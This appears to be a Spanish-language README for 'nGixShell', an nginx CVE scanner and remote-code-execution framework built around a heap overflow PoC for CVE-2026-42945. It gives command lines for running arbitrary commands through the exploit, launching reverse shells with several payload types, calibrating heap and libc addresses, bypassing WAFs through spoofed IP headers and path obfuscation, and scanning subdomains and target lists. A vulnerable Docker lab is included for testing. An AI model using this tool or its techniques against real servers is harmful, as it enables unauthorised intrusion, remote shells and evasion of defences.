
escáner de CVE nginx + framework de exploits RCE (CVE-2026-42945 + 16 otros)
nGixShell es un escáner de CVEs de nginx y un framework de explotación de RCE. Incluye una prueba de concepto para CVE-2026-42945 (CVSS 3.1 8.1 HIGH según F5/NVD) — un desbordamiento de búfer en el heap en ngx_http_rewrite_module — y un escáner que cubre 64 CVEs de nginx con sondeos HTTP automatizados, fingerprinting, detección/bypass de WAF, auditoría de seguridad web y generación de informes.
Cero dependencias externas. Solo la biblioteca estándar de Python 3.
Requisitos previos del exploit (leer primero).
--cmd/--shellsolo funcionan cuando todas estas condiciones se cumplen: el objetivo es x86_64, la configuración vulnerable derewrite+setestá presente, ASLR está deshabilitado, y las direcciones del heap/libc fueron calibradas para esa compilación exacta (calibrate.py→--build-file). Consulta Requisitos del exploit. El escáner en sí no tiene tales requisitos.
# Levantar el laboratorio vulnerable (compila nginx desde el código fuente, ASLR deshabilitado)
docker compose -f env/docker-compose.yml up -d --build
# Modo automático — fingerprint + escaneo de CVEs + auditoría web (funciona en cualquier arquitectura)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrar, reiniciar el worker para un heap limpio, luego explotar
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Lanzar una reverse shell (IP autodetectada)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detectar y eludir el WAF, luego escanear
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Escaneo de subdominios
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Múltiples objetivos desde un archivo (un informe por objetivo)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
No se requieren flags — apuntar la herramienta a un objetivo ejecuta todo automáticamente.
TLS se autodetecta. nginx se identifica incluso con server_tokens off.
system()no captura stdout:--cmd 'id'se ejecuta pero no devuelve nada. Usa un comando con un efecto secundario observable y confírmalo con--verify-url http://target/pwned(HTTP 200 = confirmado).
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Flag | Descripción |
|---|---|
| (ninguno) | Auto — fingerprint + escaneo de CVEs + auditoría web |
--cmd 'CMD' | Ejecutar comando mediante RCE de CVE-2026-42945 |
--cmd-file FILE | Ejecutar comandos desde un archivo (unidos con ;) |
--shell | Lanzar una reverse shell |
--shell-type TYPE | Payload: bash python perl php nc powershell (por defecto: python) |
--upgrade-shell | Enviar automáticamente la actualización a PTY tras conectar la shell |
--verify-url URL | Tras un crash detectado, obtener la URL para confirmar que el comando se ejecutó (200 = verificado) |
--subdomain-scan DOMAIN | Buscar nginx vulnerable en subdominios |
--cve CVE-ID | Probar un CVE específico |
--list-cves | Mostrar los 64 CVEs con CVSS e información del sondeo |
--list-candidates | Mostrar los candidatos de direcciones del heap |
--dry-run | Solo fingerprint + escaneo, sin exploit |
--target-file FILE | Escanear múltiples hosts desde un archivo |
| Flag | Descripción |
|---|---|
--build-file FILE | Recomendado. Perfil de calibración JSON de calibrate.py --json -o FILE |
--offsets SPEC | Offsets del heap en hexadecimal separados por comas de calibrate.py (p. ej. 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | Sobrescrituras manuales de direcciones |
--build KEY | Perfil integrado (solo se incluye la referencia del laboratorio DepthFirst) |
--rewrite-path PATH | Ubicación vulnerable de rewrite (por defecto /api) |
--spray-path PATH | Ubicación respaldada por proxy_pass usada para el spray del cuerpo POST (por defecto /upload; el laboratorio incluido usa /spray) |
--spray-mode partial|full | partial: cuerpo corto + Content-Length grande (laboratorio incluido); full: cuerpo completo + X-Delay (laboratorio DepthFirst) |
--pad-a N / --pad-plus N | Relleno de la ruta de activación antes de la secuencia + (por defecto 349 / 969, del PoC del proveedor) |
--continue-on-crash | Seguir probando los candidatos de heap restantes tras un crash no verificado |
--tries N / --spray N / --body-len N | Intentos de activación por candidato / conexiones de spray / tamaño del cuerpo del spray |
| Flag | Descripción |
|---|---|
--waf-detect | Detectar WAF antes de escanear |
--waf-bypass | Habilitar todas las técnicas de bypass (también ejecuta la detección) |
--waf-ip IP | Suplantar esta IP en las cabeceras de bypass (por defecto: RFC1918 aleatoria) |
Técnicas de bypass (todas activas cuando se establece --waf-bypass):
| Técnica | Detalle |
|---|---|
| Suplantación de IP | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| Rotación de UA | 11 User-Agents reales de navegador/bot, aleatorizados por petición |
| Ofuscación de rutas | doble barra, relleno /./, codificación porcentual, variación de mayúsculas/minúsculas |
| Mezcla de mayúsculas en cabeceras | aleatoriza el uso de mayúsculas/minúsculas en los nombres de cabecera para romper la coincidencia de patrones del WAF |
WAFs detectados: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Se ejecuta automáticamente en modo escaneo. Todos los módulos pueden omitirse individualmente.
| Flag | Descripción |
|---|---|
--skip-headers | Omitir la auditoría de cabeceras de seguridad HTTP |
--skip-paths | Omitir el descubrimiento de rutas/archivos |
--skip-vhosts | Omitir la enumeración de hosts virtuales |
--skip-tls | Omitir la auditoría del protocolo TLS |
--path-wordlist FILE | Rutas adicionales a sondear (una por línea) |
/nginx_status si está expuesto